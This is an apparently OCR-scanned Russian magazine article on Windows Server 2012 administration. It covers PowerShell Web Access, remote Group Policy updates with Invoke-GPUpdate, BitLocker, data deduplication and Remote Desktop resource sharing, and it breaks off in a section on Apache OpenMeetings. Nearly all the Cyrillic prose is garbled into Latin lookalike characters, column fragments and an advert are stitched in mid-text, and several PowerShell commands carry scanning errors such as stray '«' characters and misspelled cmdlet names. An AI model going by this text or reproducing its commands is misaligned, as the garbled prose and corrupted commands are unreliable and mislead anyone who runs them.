uMnopTupoBath GPO-
MoAynb KOMaHAO0M
Import-Module
GroupPolicy.

Mo noacyetam
Microsoft, 3koHoMus
OT AeAyNAMKaLUm
MOXeT COCTaBNATbL
o 30% pans
ROKYMEHTOB U 0
90% pns VHD.

-
<

a Takxe bpaysepsl, yctaHosneHHble B Windows Phone, Android v iPhone/
iPad. Becb 0bMeH gaHHbIMU nponcxoput no HTTPS, nosToMy GosiTbes yTeuku
[aHHbIX He cTouT. YTobbl pa3BepHyTb CEPBEPHYIO YacTb, JOCTATOYHO B Ma-
cTepe fobaBnexus ponen oTMeTUTL KoMnoHeHT «Windows PowerShell
Web Access» [HaxoauTcs B 6noke PowerShell) n noateepauts yctaHos-
Ky COMYTCTBYIOLMX KoMMOoHeHToB 1 ponein (NET Framework 4.5 1 Web
Server (IIS), koHconb ynpasnenus 1IS Manager), HeobxoauMbix anis ero
paboTbl. Ecnu paHee He bbina pasBepHyTa posb IS, To ganee MoxHo
ByneT BbIbpaTh LONOAHUTENbHBIE CYXDbI ponen.

YCTaHoOBKY MOXHO Npou3BecTH v npu nomoluy PowerShell:

PS> Install-WindowsFeature -Name PowerShellWebAccess «
-ComputerName <computer_name> -IncludeManagementTools «
-Restart

Cnepytowmi Wwar — HacTpoiika winto3a. Hanbonee npocto ato caenatb
npu noMolm kKomananeta Install-PswaWebApplication ¢ uMeHnem nyna
B KauecTBe napameTpa:

PS> Install-PswaWebApplication -WebApplicationName «
"WebAccess"

Ecnu Bocnonb3oBatbes gucnetyepom cayxb IS, cosaats wiio3 Takxke
HecnoxHo. OTKpbIBaeM cepBep v nepexoanm K MeHto «[lynbl npunoxe-
Hui» (Application Pools), nobasnsem HoBbIl Nyn, ykasas ero ums u ybe-
AnBLUKCE, YTO B none «Bepcuu cpeabl Framework...» Beibpas Framework
4.0.x. Tenepb B MeHto «CaitTbl» (Sites) wenykom no 3anucn Default Web
Site BbI3bIBaEM KOHTEKCTHOE MEHH0 U BbibUpaeM nyHKT «[lobaBuTb npu-
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OkHo Windows PowerShell Web Access

noxeHue» (Add Application). B nosiuBLueMcs MacTepe ykasbiBaeM UMsl
caiita (Hanpumep, WebAccess) u ¢pusuueckuit nyto (paiinb HaxogsTes
B C:\Windows\Web\PowerShellWebAccess\wwwroot). B none «[lyn npu-
NIOXeHW» BblbUpaeM co3faHHbIN BbiLe nyA. [ToATBEpPXAAEM YCTaHOBKN.
YT06bl caiiT 3apaboTan, HaM NoHagobuTca cepTudUKaT, NOANUCAH-
HbI/l [LOBEPEHHbIM Y0CTOBEPSAIOLLMM LLEHTPOM, XOTS B TECTOBbIX CPeAax
MOXHO 060MTUCH M caMonoAnucaHHbIM. YTobbl ero creHepupoBaTh,
noctatoyHo fobasuTh Koy -UseTestCertificate' k komanpe Install-
PswaWebApplication. B gucnetyepe IIS nepexoanm K cepBepy v B LieH-
TpaNbHOM OKHe Bblbupaem «CepTudnkaTtsl cepsepa», Tenepb B 0kKHe
«[leficTBUSA» MOXeEM CO3[aTb 3aNpoc cepTUdUKaTa UM creHepupo-
BaTb caMonoAnucaHrHslii ceptudukar (Create Celf Signed Certificate).
B nocnefHeM cnyyae HaM NoHaf0OUTCH BBECTM €r0 UMS U B Ka4eCTBe
XpaHunuuwa BblbpaTth «Pa3mMeleHune Beb-cnyxb». YTobbl caiiT Mor pa-
6oTat c HTTPS, HyxHo co3paTb npuss3ky. Beibupaem Default Web Site
1 B none «[lenctesne» — «[pusaskn». B nosBmBLIEMCS OKHe yKa3blBa-
eM npotokon HTTPS u BbibupaeM creHepupoBaHHbIii cepTudukat. B Ha-
cTpoiKkax caiita nepexonum B «MapameTpel SSL», roe ctaBuM dnaxok
B NyHKTe «Tpe6oBaTtb SSL». Tenepb MOXHO NofK0YaTLCS K CEPBEPY,
yka3as B 6pay3epe 1M y3na u caitTa (Hanpumep, https://example.org/
WebAccess), ans Bxoa BBOAWUM CBOM yYeTHble AaHHbIE W MMS LLTI03a.
CnepnyeT 0TMeTUTb, 4TO AoCTyn K Beb-koHconn PowerShell Web Access
af]MWHWCTPATOP NpefoCcTaBnsieT B ABHOM BUAE, N03TOMY NoKa Nosib3oBa-
Teslo He Ha3HayeHbl COOTBETCTBYIOLLME NPaBa, NOAKOUNTLCS K CeaHcy
eMmy He yaactcs. [puyeM aiMUHUCTPaTOp MOXET OrpaHUyMBaTL CeaHc
OTAeNbHBIMU KOMMbIOTEPaMU U AaXe pa3peLleHHbIMY KOMaH1eTaMu.
Bce ycTaHoBKM xpaHaTcs B daiine AuthorizationRules.xml, koTopbiii
LoJKeH YnTaTh Beb-cepBep. Y00kl ynpocTnTh HacTpoiku IS, Microsoft
npefocTaBseT roToBble WabnoHbl, No3BoNsIOWME AaTh HYKHbIE NpaBa
Beb-cepsepy. Beogum cnepyoue KoMaHabl:

PS> $applicationPoolName = "PowerShell Web Access"

PS> $authorizationFile = "C:\windows\web\«
powershellwebaccess\data\AuthorizationRules.xml"

PS> c:\windows\system32\icacls.exe $authorizationFile «
/grant ('"' + "IIS AppPool\$applicationPoolName" + «
"":R') > $null

lMpocMoTpeTb NpaBa Ha daiin aBTopu3aLMn MOXHO Npu noMoLuy icacls:
PS> c:\windows\system32\icacls.exe $authorizationFile

[lns ynpaBneHus focTynoM K Beb-KOHCONM NpesfioXeH Lenblii psg
koMaHanetos — Add|Remove|Get|Test-PswaAuthorizationRule, koTopbie
MMeIoT OrPOMHOE KONMYeCTBO NapaMeTpoB. [onyyuTb nprMepbl UCMofb-

30BaHMA MOXXHO KOMaH,D.OVIZ

Get-Help <cmdlet name> -Examples
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Hanpwmep, paspewnm nonb3osatento User goctyn k komnbtoTepy SRVO1:

PS> Add-PswaAuthorizationRule -UserName Example\User «
-ComputerName SRVO1 -ConfigurationName Admins

[Mocne BBeAeHUS KOMaHLbI NONy4YnUM Tabauuy ¢ npasamu. [pocMo-
TPeTb CMNCOK BCEX HACTPOEK MOXHO NpU NoMoLLM KoMaHaneTa Get-
PswaAuthorizationRule. B TecToBoi cpefie MOXHO pa3peLuuTb BCe 1 BCeM.

PS> Add-PswaAuthorizationRule * * *

YOAJIEHHOE OEHOBJIEHUNE GPO

Mocne nameHeruit GPO HeobxopmnmMo HekoTopoe Bpemst (90 MuHyT +/— 30),
MoKa HoBble MOJIMTUKM PacrpoCTPaHATCS Ha Apyrve cucTeMsbl. Ho ecnm nx
HY)XXHO NPYMEHUTb HEMeJIEHHO, afiMWUHY NPUXOAUTCS PErncTPUPOBaTLCS

Ha y[aneHHow cucTeme 1 BbINONHATL KoMaHy gpupdate. pu 6onbLiom
konnyecTse MK npoliecc L0BONbHO YTOMUTENEH U 3aHUMAET HEKOTOPOe
BpeMsl. Tenepb 06 3TOM HeyR0BCTBE MOXHO 3abbITh. B KoHCOMM ynpaBneHus
rpynnogoi nonutukoit (GPMC), B KOHTEKCTHOM MeHI0 JoMeHa W Nofpasse-
TIeHUS, NOSIBUNCS HOBbIN NYHKT «OBHOBIEHWE TPynMoBOi NoAUTUKM» (Group
Policy Update), no3sonsiowuuii npoussectt 06HOBIEHNE MOUTHK CHCTEM,
HauuHas ¢ Windows Vista/2008, aByms Lienykamm Mulwku. [ocne akTmea-
UMy 3aaaHws ByaeT nosyyeH CNcok KOMMbIOTEPOB U 3apervcTPUPOBaHHbIX
nonb3oBatesei, nocse Yero cosgaeTcs 3agaHue «gpupdate.exe /force».

Bo n3bexaHune neperpysku ceT oHo byAeT BbIMOHSTLCS CO CIy4aiiHO
3apepxkon B HTepBane 0-10 MuHYT. Pe3ynbTaT BbINOHEHUS 3afiaHws 0To-
BpaxaeTcs B 0TAENBHOM OKHE, YCNeWHOCTb 06HOBIEHUS MOXHO ONpefennTb
C NMOMOLLbI0 MacTepa pe3ysbTUpYIoLLEeR NOAUTHKM.

HoBas gyHKLMA nonyyunna u ceoit komangnet — Invoke-GPUpdate,
KOTOpbI N03BOASET yaaneHHo 0bHoBUTL GP 1 npegocTaBasieT faxe
Bonblue Bo3MoxHoCTel, yem GPMC. He nunwwHuM bypet oTMeTUTS,
4TO 3@ rpynnoBble NOANUTMKM 0TBEYAIOT 27 KOMaHAJETOB, NOAYYNUTH MO~
HbI/ CMCOK MOXHO, BBeAs KoMaHpy Get-Command -Module GroupPolicy.

YT106bI HEMefTeHHO 06HOBUTL NONIUTUKM HA KOHKPETHONM CUCTEME,
[,0CTaTOYHO BbIMOSHUTD:

PS> Invoke-GPUpdate -Computer <uma komnblTepa>

[DononHutenbHbiii kntoy '—~RandomDelaylnMinutes' 3apaet nHTepsan
0XMAAHUA [HYKHO, EC/IM KOMaHAA BbIMOHAETCH HAa HECKOJTbKUX CUCTEMaX).
Ho rnaBHoe — B koHconn GPMC MoxHo BbIbpaTh TONbKO NoApas-

LeneHne, OTAeNbHOro KoHTelHepa «KoMnbloTepbl» TaM HeT. BoT 3aech
1 BblpyyaeT Invoke-GPUpdate, koTopblii coBMecTHO ¢ KoMaHaneTom Get-
ADComputer no3sonisiet 0TobpaTh cUCTEMbI N0 NH0OOMY KpUTepuio:

PS> Get-ADComputer -filter * -Searchbase «
"cn=computers, dc=example,dc=org" | «
foreach{ Invoke-GPUpdate -computer $_.name <
-force --RandomDelayInMinutes 5}

ELLe oayH BaXKHbI MOMEHT HacTpoiiku 0bHoBaeHuit GPO: Ha knu-
EHTCKMX CUCTEMax HEODXOAMMO OTKPbITb HECKOJbKO NMOpTOB OpaHAMa-
yapa. YTobbl ynpocTUTh XM3Hb aAMuHY, B MS npeanoxunv Aee HoBble
HayasbHbIE MONUTUKM (K BOCbMM UMetoLMMEs), No3BoAsiolne 6bICTpo
pacnpoCTPaHsTh HYXKHble YyCTAaHOBKM:

[ins ynpaBneHus gepynnaukaumein npefnoXeHo NATHaALATh KOMAHANETOB
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WnTepoeiic GPMC nossonsieT yganeHHo 06HoBuTb GPO

*  nopTbl bpaHaMayapa ANs yAaNeHHOro 06HOBNEHUS TPYNNOBON NONNUTUKY;
*  nopTbl GpaHAMayapa Ans OTYETOB rPYNMNoBON NOANUTUKY.

HasHayeHue kaXaol NoHATHO U3 Ha3BaHus. Hac uHTepecyeT nepsas.
PekomeHpayeTcs co34aTh HOBbI 06EKT rpynmnoBo NOAUTUKY U NepeMe-
CTUTb €ro B Hayano, NPUCBOWB TakM 06pa3oM bosbLINIA NPUOPUTET, YeM
y 06beKTa rpynnoBoi NoAUTUKM JOMEHA N0 yMONYaHMIO.

lMpouecc npocT. BelbrpaeM foMeH v B MeHI0 LwenkaeM NyHKT «Co3-
4aTb 06BEKT rpynnoBoi NOANTUKM B 3TOM [loMeHe». B nosisuBLuemcs
OKHe BBOAMM Ha3BaHue 1 BbibupaeM u3 cnucka «lMopTsl GpangMayapa
IS y[LaNeHHOro 00HOBIEHMS TPYMMOBOI NOANTUKU». Kak BapuaHT, MoX-
Ho Bocnonb3oBaTtbca PowerShell:

PS> New-GPO -Name "Configure firewall rules «
for remote gpupdate" -StarterGpoName

"Group Policy Remote Update Firewall Ports" | «
New-GPLink -target "dc=example,dc=org" «
-LinkEnabled yes

WHTEPECHbIE YCOBEPLLUEHCTBOBAHUA B BITLOCKER

OyHkuma BitLocker no3sonset wudposats ¢ nomoLbto anroputMa AES
CUCTEMHbIE TOMA, TOMa C AaHHbIMU 1 CMeHHble HocuTenw. Mpu bonbLumx
0bbeMax MHPopMaLMM MPOLLECC MOXET 3aHUMaTb AOCTAaTOYHO A/INTESb-
Hoe Bpemsi. B Win8/2012 agMuHucTpaTop BosieH BbibupaTs: Wwupposatb
BeCb ANCK UMY TONbKO 3aHATOE NPoCTpaHCTBO. Bo BTOpoM cnyyae nycTbie
bnoku WwudposaTbes He byayT, YTo 06ecneynT 3HaYUTENbHOE YCKOpeHe
paboTbl. PaHee pns 3awmdpoBkM HeobxonMMo Obino BHaYane ycTaHoBUTb
0C, a 3aTeM yxe 3anyckaTb npouecc. Tenepb BitLocker goctyneH us cpe-
abl WinPE, nossonss 3awundposatb gnck nepeg yctaHoskoii OC.

Bo3moxHoCTb Bbibopa Tvna WndpoBaHUs peryampyeTcs npy noMoLLm
TPex HOBbIX FPyNMoBbIX NONUTUK «[TpPUMEHNTb TUM WKNPPOBAHMS AKCKa...»
OTAENbHO AN HECBHEMHbIX, CbeMHbIX HOCUTENEN U JUCKOB C onepaLn-
OHHOII cucTeMoit. OHu HaxoaaTcs B BeTKe «KoHdurypauus Komnbiotepa\
MNonntnkm\AgMuHNCTpaTMBHble WwabnoHbl\KomnoHeHTsl Windows\LLnd-
poBaHue aucka BitLocker» (Computer Configuration\Administrative
Templates\Windows Components\BitLocker Drive Encryption]. Aktusu-
poBaB MOMIMTUKY, aAMUHNCTPATOP MOXET MPUHYANTENLHO YCTAHOBUTb TUM
wndposanus BitLocker nnu paspelwunTb BbibupaTth ero noab3osaTesto
(MpuMeHsieTcst no yMonyawuio). KpoMe Toro, HoBbIE CUCTEMbI NOAAEP-
xuBatoT MexaHuam Full Volume Encryption cucteMHoro Toma 1 faHHbix
C UCMOIb30BaHMEM CMELMabHOr0 KOHTPOJINIEPa XKECTKOro AUcka Uim
API, no3BonsioLLero NCNonb30BaTh NPUIOXKEHNS TPETBUX GUPM.

[ns ynpaenenus BitLocker TpebytoTcs npaBa agMMHUCTpaTOPa, HO B He-
KoTOopbIx OpraHu3aLmsx 3a MK oTBeYatoT camu COTPYAHNKM, He NMetoLLme Ta-
kux npas. B Win8/2012 nonb3oBaTensiM MOXeET BbiTb pa3peLLeHo U3MeHeHue
MWH-Kkoza ToMa UM nNapos, Mpu yCioBMK, YTO OHU 3HatoT cTapsbii MH-
Kof. 3To N03BOJISIET, HAaMPVMep, 3aAaTb N0b30BaTeNsM bosnee NoHsATHbIE
[aHHble, KOTOpble JIerye 3anoMHUTh, HO KOTOPbIE COOTBETCTBYHOT MPUHSTHIM
nonnTukam besonacHocTu. [Ing ynpaBneHus 3Toi BO3MOXHOCTbIO CriedyeT
11CN01b30BaTh NONNTHKY «3TOT NapamMeTp NO3BOISET 3anpeTUTb 00bI4HbIM
nonb3osatensiM nameHsTb MAH-kog nan naponb».
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Ewe opHa ¢pyHkums — Network Unlock — paeT Bo3MoXHOCTb nepesa-
rpy3uTb unm pasbyants (Wake on LAN) OC 6e3 HeobxoanmocTv BBefieHMUS
MWH (paboTaeT ToNbKo B JOMEHHOI cpefie). ITo MOXKeT noHazobuTh-

s, HanpuMep, npu yctaHoske natyeit. Network Unlock peanusoBaHa
npy NOMOLLM CMeLManbHOro CETEBOMO KI0Ya, XPaHALLErocs Ha CUCTEM-
HOM J1cKe BMecTe ¢ ceCCMoHHbIM AES256 1 oTKpbIThIM cepTUdMKaTOM
WDS-cepsepa (Windows Deployment Services, RSA2048), paboTatowero
nog ynpasnenvem Win2012.

OEOYTUTMKALWA JAHHBIX

Ha daitnoBom cepBepe flaHHble YacTo JybnupytoTcs, YTo NpMBo-

IMT K U3NINLIHEMY PacXof0BaHuio cBo6oAHOro MecTa. 310 MoryT bbiTh
BUpTyanbHble Aucku VM, KoTopble coaepXaT MHOXECTBO OAHOTUMHbIX
AaHHbIx (daiinel OC), naun nonb3osatensckue daiinbl. B 3aBucumocty

0T CUTYaLMM CNPaBASKIKOTCS C 3TUM MPU MOMOLLY OJHOTO U3 ABYX CMOCO-
60B: noncka cxopHbIX GainoB ¢ NOCNefyoLMM CO3faHNEM APILIKOB UK
nepynnvkauun. 0ba MeTofia, B 06LLEM, CXOXKM, TONBKO AedyninkKaums
paboTaeT Ha ypoBHe 610K0B, a He $aitnoB, 1 Ha Nopsfok 3bdekTnBHee,
0[}HaKO CMeLnanu3npoBaHHblii CodT CTOUT HeMabix AeHer. B daiinosom
cepsepe Win2012 nosiBunach HoBasi pyHKLMS «[lefynnvkaumns gaHHbIX»
(Data Deduplication), no3sonsioLast 3KOHOMUTb AMCKOBOE MPOCTPAHCTBO
v paboTaloLLasi Co CTaHAAPTHBIMU KOMMOHeHTaMu cepsepa. o nofcyeTam
Microsoft, 3KoHOMWs 0T AepynnnKaLnm MoxeT cocTaBnsaTh 1o 30% ans go-

HACTPOMKA AEAYNJIMKALMN
[P NMoMoLLUM POWERSHELL

Mpu nomowm PowerShell foBonbHO NPOCTO aKTUBMPOBATH GYHKLMIO
Aefynnukauuu. YcTaHaBnMBaeM COOTBETCTBYIOLMA KOMMOHEHT:

PS> Import-Module ServerManager
PS> Add-WindowsFeature -name FS-Data-Deduplication

KoMNoOHeHT nocTaBnseTCcs Co CBOUM mopynem, KDTOprVI npepnocrtaB-
naeT NATHaAUaTb KOMaHONETOoB. HpOCMOTpeTb NX CMNUCOK MOXHO

cnepyowmm obpasom:

PS> Import-Module Deduplication
PS> Get-Command -Module Deduplication

YT100bl BKNOUYNTL AefYNANKALUIO LS [UCKA, BbITONHUM KOMaHAY:
PS> Enable-DedupVolume D:

Y1obbl He XAaTb, Korga NPOCHeTCA NNaHNPOBLLMK, MOXHO Cpa3y U 3a-
NyCcTUTb 3afaHune:

PS> Start-Deduplob D: -Type Optimization

YT06bI NPOCMOTPETbL CTAaTUCTUKY U TEKYLLME 3a[laHNS, 3aMyCcKaeM co-
otBeTcTBeHHO Get-DedupStatus u Get-DedupJob. Pe3ynbTtat cMoTpum
npv nomouwwm Get-DedupMetadata, yka3aB B kayecTBe napameTpa
HYXHbIV TOM:

PS> Get-DedupMetadata -Volume D:

[ns HacTpoiikn NnapaMeTpoB AefynanKaLnmu UCnonab3yeM KOMaHaNeT
Set-DedupVolume. HanpumMep, MU3MeHUM KOoANYeCcTBO LHEN, nocne

KoToporo annbl byayT AefynaMLNpPOBaTHCS:

PS> Set-DedupVolume D: -MinimumFileAgeDays 15
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HacTtpauBaeM nonuTuky Tuna wudposaxus BitLocker

kymeHToB 1 fio 90% pna VHD. Ho rnaBHoe, 310 becnnaTHo, Tenepb HeT
HeobxoANMOCTV NPUMEHATL CTOPOHHUE pelleHus. PyHKLWA peann3oBaHa
B BMAe BYX KOMMOHEHTOB: Apaiisepa-dunbtpa, KoHTponupyiowero 1/0,
1 cyxbbl, 3aHUMaloLLencs onTUMU3aLMen, Chopkoi Mycopa 1 0YUCTKO.
Ee MOXHO NpUMeHUTb Ha N1l060M gucke (KpoMe 3arpy304HbIX 1 CUCTEM-
Hbix pasgenos). MoanepxusaioTtces Bee Bepcun NTFS, Ho fepynavkaums
He paboTaeT ¢ painamm <32 Ko, ¢ Encrypted File System v paiinamu,
VMetoLMMY pacluvpeHHble atpubyTsl (Extended Attributes). Ecnn daiin
1MeeT afbTepHaTUBHbI NOTOK [JaHHbIX, TONIKO NEPBUYHbIN NOTOK AaHHbBIX
byneT B fiedynnvkaLmMm U anbTepHaTUBHBIA NOTOK OCTAHETCS Ha ANCKe.
[Mpu nepeHoce pasgaena Ha Apyroii cepeep BCst MHOPMaLIMS COXpaHSeTCs.

YT06bI He ObINO NNLLIHEN HAarpy3KK, YacTo MOAUPULMPYEMbIe JaHHbIe
nofiBepraTca fefynavnKaLu ToabKo Npy AOCTVXKEHNN onpeaeneHHo-
ro paamepa. AHanormyHo nocTynawT U ¢ HoBbIMU (aiinamu, KoTopble
no yMonyaHuio 06pabaTbiBaloTCs TONbKO Yepes NaTb AHew (nepuog nerko
M3MEHUTb NpY akTNBaLMKu pexxumal. Mo ymonyaHuio He 06pabaTbiBaloTCs:
apxvBbl, BUAeO, rpaduyeckue Gpaisibl v opucHble AOoKyMeHTbI. [pu Heob-
XOAVMMOCTU MOXHO YCTaHOBUTL CBOW OTPaHUYEHUS.

[lnq yctaHoBKM KOMMOHEHTa clefyeT nLb 0TMETUTL GaXKKoM
NYHKT «[lefynankauus AaHHbIX», KOTOPbIA HaX0ANTCS B Nofpasfene
«DainoBble cnyxbbl 1 cnyxbbl xpaHunuwa». lanee cnepyet HacTpouTb
byHKUMI0 ans BbibpaHHoro pasgena. B nucnetyepe cepsepa nepexognum
B «®DaiinoBble cnyxbbl 1 cnyxbbl XxpaHunuLa — ToMa» U B KOHTEKCTHOM
MEeHI0 0TMeYaeM NyHKT «HacTpoiika AefynavKaLumum faHHbIX», 3aTeM B Mo-
SBUBLUEMCS OKHE BKJII0YaeM QyHKLMI0. 3eCh e MOXHO HacTpouTb ABa
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BbICTpbIif AOCTYN K CpeACTBaM aAMUHUCTPUPOBAHUS
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YctaHoBku nonutuk ans RDS B gucneTyepe cuCTEeMHbIX pecypcoB

NNaHUPOBLLYKA U YKa3aTb KaTasoru, KoTopble He HYXHO ieflynanuupo-
BaTb. Yepes HEKOTOPOE BpeMA NoSBUTCA/U3MEHUTCS 3HaYeHWe B cTonbue
«CteneHb geaynavkauum» (Deduplication Rate).

[lns npeBapuTeNbHOro aHanM3a BO3MOXHOM 3KOHOMUM OT BKITl0Ye-
HUS Aedynnukauuv npeanoxeHa ytunuta DDPEVAL.exe:

> c:\windows\system32\ddpeval.exe e:\

PA3JIEJIEHVE PECYPCOB REMOTE DESKTOP SERVICES

CepBep, BbINOSHSIOWMIA OfHY POSib, Kak NpaBuio, He TpebyeT MexaHW3Ma
ynpasneHus pecypcamu. Ho cerofiHs Ha cepsepe 4acTo BbINONHAeTCs
HECKOJIbKO MPUJIOKEHUN, @ MOTOMY aMUHWUCTPATOPY HYXXHO obecneynTs
rapaHTMpoBaHHoe pacrnpegeneHue pecypcos CPU n RAM, nHaye ogHo

13 NPUNOXEHNI MOXET 3aXBaTUTb MaKCUMYM pecypcoB, 610kNpoBaB
BbINOIHEHWE OCTaNbHbIX. [N5 3TUX Lieneil MOXKHO UCM0Jb30BaTb CTapbIi
3HakoMbliit Windows System Resource Manager (WSRM.msc], no-
3BONSHOLYMIA raPAaHTUPOBAHHO BbIAENATH PECYPChI HECKOMbKUM PONsSM
nnu nonb3osatensM. Mpu atom WSRM HaunHaeT npuMeHsTb NOAUTUKY,
TONIbKO eCNv Harpy3ka npesbiwaet 70% (paHee npocTo HeT cMbichal.

Mo yMonyaHuio COAEPXMUT NSTb CTaHAAPTHBIX NOJUTUK, KOTOPbIE N1ETKO
npvBeCTY B e/ CTBUE, NPeAyCMOTPEHO CO3AaHUE NOob30BaTeNbCKNX
HacTpoek. B obuiem, Bce 6bl xopolwo, aa Tonbko Teneps WSRM obbsiBneH
ycTapeBLWUM 1 byaeT ncknoueH us cnepyowwmx einyckos OC. MoueMy Tak
1 yeM BynyT 3aMeHsTb, MOKa He SICHO.

Hawnbonee BocTpeboBaHa K pacnpefeneHuio pecypcos ciyxba Remote
Desktop Services, BepositHo noatomy B Win2k8R2 nosiBunack Hosasi npoak-
TuBHasa GyHKumMa Dynamic Fair Share Scheduling (DFSS), koTopas aensieTca
HOBbIM KoMnoHeHToM Remote Desktop Session Host (RDSH). Ee 3apava —
aBToMaTWyeckn pacnpenenste pecypcel CPU Mexay nonb3osatensmu.
BHeLuHe oHa noxoxa Ha nonutuky Equal_Per_Session n3 WSRM, Ho B oTnn-
4ue OT MOC/EeHeN pearupyeT Ha HECKOJIbKO NopsiaKoB BbicTpee (Heckonbko
MUSIMCEKYH, MPOTUB CEKYHA), Tak Kak BCTpoeHa B spo. B peanusaumm
DFSS B Win2012, kpoMe pacnpegenenus CPU, nobaBnena dyHkLms pac-
npeneneHns nosockl nponyckaHns Mexay ceccuamu (Network Fair Share)
v auckosbix onepauni (Disk Fair Share).

OyHKLWS akTUBUpYeTCS ycTaHoBKo napameTpa EnableCpuQuota
(HKLM_SYSTEM\CurrentControlSet\Control\Session Manager\Quota
System) B 3HaueHue 1. [na [UCKOBBIX PECYPCOB CYXKUT NapameTp
EnableFairShare (HKLM_SYSTEM\CurrentControlSet\Control\Services\
TSFairShare\Disk).

Mo ymonyaHuio pacnpefenexne pecypcos paBHOMEPHOE W HUYEM
He perynupyeTcs. ECiv HyXHO NpefocTaBnTb OTAENbHbBIM FpynnaM nosib-
30BaTesei 6oblUyto YacTb pecypcos (HanpuMep, agMuHaM, YTobbl nerye
Bb110 3aMTH Ha CEpBEp B KPUTUYECKNIA MOMEHT), cesyeT 06paTnTscs
K BcTpoeHHoi B WSRM nonutunke Weighted_Remote_Sessions, nossons-
foLLieit 3ajaBaTh TPU NPUOPUTETA: NPEMUYM, 0BbIYHBIA 1 OCHOBHOW. 3T
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BbIBUPAEM PELLEHMUE
Ana OPrAHU3ALUU

KOPMOPATUBHbIX
BUAEOKOH®EPEHLUUU

[Mpu ynpaBneHun koMnaxHmen noboro pasmepa bes
coBeLllaHui He obonTuch. Ho ofHO aeno, Korna
COTPYLHWKM HaXoA4ATCS B OLHOM 3[aHWK, fpyroe —
KOrfAa Ux NpMXoanTCcs cobupatb U3 pasHbIX
ropofoB v faxe cTpaH. IMeHHo No3ToMy

cerofHs Bce bonee NonynspHeIMU CTAaHOBATCS
BUAEOKOHbEPEHLMM, NO3BONSIOLLMNE NOBLICUTD

3 PEKTUBHOCTb 0BOLLEHNS M CIKOHOMUTb Ha
KOMaHAMPOBKaX.
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Cepreii fipemuyk (grinder@synack.ru)
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APACHE OPENMEETINGS

B HacTosiee BpeMs Ans opraHn3au v BUAEoKoHbepeHLuii cylie-
cTBYeT 60bLLOE KONIMYECTBO PELLUEHWI, OTNIMYAILLMXCS MO HAa3Ha-
YeHuio (BHYTpeHHee, BHeWHee UCMONb30BaKMe, Belanme), Tuny
(nepcoHanbHble, rpynnoBbie, KOMHaTHbIe), BUAY (Touka — Toyka

W MHOrOTOYeuHble), peannsaumuu ([annapatHble M nporpaMMHbie), uc-
nojib3yeMbiM NPOTOKOIAM, CTOMMOCTU U Tak Aanee. PbiHOYHas LeHa
KOMMepYeCcKMX 1 0CoDEHHO annapaTHbIX PeLIeHNt JOBOIbHO BbICOKa,
0fAHaKo npuMeHeHue ceobopHoro MO NOMOXET CHU3UTL 3aTpaThl.

CucTema Beb-koHdepeHuuit Apache OpenMeetings nossonset
opraH1M3oBaTb NpoBeAeHWe ay[no- ¥ BUAEOCOBELLaHNIA B MHOMOTO-
4YeYHOM pexuMe, Korfa Kk cepBepy NoAKJI0YEHbl LlecATKM YenoBek. 3a
HECKOJIbKO N1eT NPOEKT CMEHWIT HECKOJIbKO KOMaH/ W NNLEeH3MiA, B TOM
uncrne 6bin 8 Google Code [nog nuuensueit Eclipse Public License).
MocnepHss ero ancnokauus — urukybatop Apache (incubator.apache.
org/openmeetings), COOTBETCTBEHHO, MOMEHANACH U JIMLEH3US, Ha
Apache License 2.0. MocneaHsas opuumnansHas sepcus 2.0 Bbiwna
B KoHLe uonga 2012 ropa.

[naBHbIV NAOC — A5 BUAEOCOBELLaHUA He TpebyeTcs ycTaHOBKaA
pononHutensHoro M0, goctaTouHo Beb-6pay3epa ¢ naarvHom gns
nopfepxku texHonoruu Flash. MpegycMoTpeHa BO3IMOXHOCTb 3anucu
W MOCNefyoLLero NpoMrpsIBaHUs CoBelannii n akcnopta s AVI/FLV-
daiin, nMnopT B KoHdepeHLMio fokyMeHToB bonee yem 20 popmaTos
1 n306paxkeHNA. YHaCTHUKM MOTYT CKayaTb 3arpyXeHHblii Gaiin v co-
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BMECTHO pefjakTUpoBaTh, BBOAA TEKCT MOBEPX OPUrMHana, pucoBaThb

1 nomeyaTb MHTepecHble MecTa. CaMu KoHpepeHLUn MoryT ObiTh

OTKPbITBIMW U YacTHbIMU. [TofaepXuBaeTcs ABa pexunma:

* coBelaHne — o 16 y4aCTHUKOB, KaXKAbli MOXeT nepefaBaTh
ayLuo- ¥ BUAEOAAHHbIE;

* nekuunm —po0200yyacTHNKOB, Nepefaya ayLmo U BUAEeO TONbKO
yMogepaTopa/nekTopa.

MpeaycMoTpeH Takxe 06MeH TeKCTOBbIMU COOBLLEHNAMN B OKHE
yaTa WV NpUBaTHLIMK (MCMOMb3yeTcA BCTPOEHHbI Jabber-cepsuc).
HacTpoiiku no3BonsioT co3gath onpoc. MosepaTop, 0praHu3yoLni
KoHdEepeHLU Mo, OTNPABSET BCEM y4YaCTHUKAM NpuUrialleHne, co-
Lepxallee NPAMYI0 CChIIKY, OH e yNpaBaseT BCEMU JOCTYMNHbIMW UM
BO3MOXHOCTSMU. Y KaXA0ro 3aperucTpupoBaHHOro nofib3osaTens
“MeeTcs KaneHaapb cobbiTuii ¢ HanoMuHaHueM o cobbiTusx (de-
pes 3NeKTPoHHYto noyTy unu iCall. Mpwn nogkoYeHnn BoibupaeTcs
BapuaHT yyacTus (BMAEO + ayano, ToNbKO BUAEO WM ayano, pUCyHKM),
paspelleHune U yCTPONCTBO. HacTpoiku B KOMHATe MPOCTbl M MOHATHbI
KaX[oMy, Mosb30BaTesNb, BnepBble paboTatoLwuil c cepBucoM, bbicTpo
0CBONTCA.

Bo3MoxHa nnTerpauuns OpenMeetings ¢ Apyrumn npoaykTamm —
cepsepoM VolP Asterisk, cucteMoii ynpasnenus obyyesmem Moodle,
Drupal, Joomla, SugarCRM u HekoTopbIMU LpyruMu.

PeanusoBaHo Tpu ypoBHS A0CTyna — nosnb30BaTeb, MO4EPaTOp
W aAMuWHUCTpaTOp cepBepa. [lns ayTeHTUGUKALUN BOZMOXKHO WC-
nosib3oBaHue BHyTpeHHeil 6asbl unn cepsnca LDAP / Active Directory
(8 $RED5_HOME/webapps/openmeetings/conf Haliewb roTosble
wabnoHbl ANs nogknoyerns). BoamoxHa pabota HecKoNbKuX cepse-
pos OpenMeetings B knacTepe, ofHa ycTaHOBKa MOXeT 06cyxnBaThb
HECKOJIbKO OpraHu3aumi.

WHTepdeiic OpenMeetings nepeBefieH Ha HECKOJIbKO S3bIKOB,
CpeAn KOTOPbIX €CTb PYCCKUIA. BCTpoeHHbI pejakTop N0KaNn30BaH-
Hbix coobuennit (LanguageEditor) nossonsiet npu HeobxoaumocTu
CKOpPPEeKTNPOBaTh NepeBof. BHELWHNA BUA MOXHO N3MEHUTL MpK
